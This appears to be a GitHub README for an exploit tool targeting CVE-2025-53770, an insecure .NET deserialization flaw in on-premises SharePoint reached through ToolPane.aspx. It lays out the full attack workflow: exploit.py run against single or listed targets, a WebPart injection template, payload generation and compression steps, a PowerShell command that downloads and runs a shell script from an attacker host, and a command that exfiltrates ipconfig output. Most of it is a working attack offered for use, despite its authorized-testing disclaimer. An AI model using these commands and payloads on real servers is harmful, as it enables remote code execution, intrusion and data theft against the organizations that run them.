soltanali0/cve-2025-53770-exploitSharePoint WebPart Injection Exploit Tool
🍕 Exploit tool for SharePoint WebPart Injection via ToolPane.aspx, leading to .NET deserialization and potential remote code execution (RCE).
Developed by: @GOTOCVE
This tool exploits a vulnerability in Microsoft SharePoint (on-premises) that allows authenticated users to abuse the ToolPane.aspx endpoint and inject malicious WebParts containing GZIP-compressed serialized .NET objects.
The injected object is placed inside the MSOTlPn_SelectedWpId parameter and embedded in a fake WebPart (such as <Scorecard:ExcelDataSet>) that gets parsed and deserialized by the SharePoint backend.
| Product | Affected Versions |
|---|
| SharePoint Server 2016 | 16.0.4351.1000 - 16.0.5508.1000 |
| SharePoint Server 2019 | 16.0.10337.12109 - 16.0.10417.20027 |
| Field | Value |
|---|---|
| Component | Microsoft SharePoint (On-Premises) |
| Endpoint | /layouts/15/ToolPane.aspx |
| Parameter | MSOTlPn_DWP |
| WebPart | <Scorecard:ExcelDataSet CompressedDataTable> |
| Issue | Insecure .NET deserialization |
| CVE | CVE-2025-53770 |
exploit.pyMulti-threaded SharePoint exploit tool for CVE-2025-53770.
/ToolPane.aspxYSLosf.exeLosFormatter Payload Generator & Deserializer.
python3 exploit.py -u https://target -p payload.txt
python3 exploit.py -f targets.txt -p payload.txt --proxy http://127.0.0.1:8080
| Argument | Description |
|---|---|
-u | Target URL (e.g., https://sp.company.local) |
-f | File containing target URLs (one per line) |
-p | Payload file or direct Base64 GZIP string |
--proxy | Optional proxy (e.g., http://127.0.0.1:8080) |
-t | Timeout in seconds (default: 15) |
python -m venv venv
source venv/bin/activate
pip install -r requirements.txt
YSLosf.exe)Your payload must be:
DataSet, ObjectDataProvider)LosFormatter or BinaryFormatterEmbedded in a WebPart like:
<asp:UpdateProgress ID="UpdateProgress1" runat="server" AssociatedUpdatePanelID="upTest">
<ProgressTemplate>
<div class="divWaiting">
<Scorecard:ExcelDataSet CompressedDataTable="{PAYLOAD}" DataTable-CaseSensitive="false" runat="server" />
</div>
</ProgressTemplate>
</asp:UpdateProgress>
YSLosfPut your command (e.g., reverse shell) into payload.txt:
powershell -nop -c iwr http://attacker/shell.ps1 | iex
C:\Users\soltanali0\Desktop\YSLosf\bin\x64\Debug\net48>.\YSLosf.exe --p payload.txt
Serialized string:
/wEFBWZsdG1j
Base64 encoded:
L3dFRkJXWnNkRzFq
C:\Users\soltanali0\Desktop\YSLosf\bin\x64\Debug\net48>.\YSLosf.exe -d dpayload.txt
Deserialized object:
fltmc
# compress.py
import gzip, base64
with open("base64.txt", "rb") as f:
b64 = base64.b64decode(f.read())
gz = gzip.compress(b64)
# print(base64.b64encode(gz).decode())
encoded = base64.b64encode(gz).decode()
with open("payload-final.txt", "w") as out_file:
out_file.write(encoded)
Save the output into payload-final.txt and pass it to the exploit tool.
System.Data.DataSetSystem.Data.Services.Internal.ExpandedWrapperSystem.Windows.Data.ObjectDataProviderSystem.Web.UI.LosFormatterThis vulnerability does not return output (e.g. ipconfig) in the response. You must:
powershell -c "ipconfig | Invoke-WebRequest -Uri http://your-ip:8000/?d=$(Get-Content -Raw)"
This tool is provided for educational and authorized security testing only.
Do not use against systems without explicit permission. Misuse may be illegal and unethical.
If a vulnerable server accepts the payload and reflects MSOTlPn_SelectedWpId or renders the page with the injected WebPart, it's likely exploitable. No output means the deserialization failed or the server patched it.
This tool does not deliver or execute any shellcode, web shell.
It only demonstrates exploitation of the .NET deserialization vulnerability (CVE-2025-53770) through the vulnerable ToolPane.aspx endpoint using a malicious WebPart structure containing a GZIP-compressed .NET object.
🔹 Purpose: To help researchers, red teamers, and defenders detect vulnerable SharePoint servers and test the injection vector safely with custom payloads.
🔹 Payloads: The tool requires users to generate their own payloads (e.g., using YSLosf.exe) which are embedded in the WebPart as Base64-encoded GZIP strings.
It is the user’s responsibility to choose appropriate and ethical payloads (such as harmless calc.exe execution, beacon markers, etc.).
🔹 NO Reverse Shells/Web Shells included:
While attackers in the wild may drop web shells like spinstall0.aspx, this project does not include any such logic.
If you're planning on delivering a reverse shell, you must generate your own payload manually and take full responsibility for its use.
Join @GOTOCVE on Telegram:
Created by Ali Soltani
For research inquiries or bug reports, message via Telegram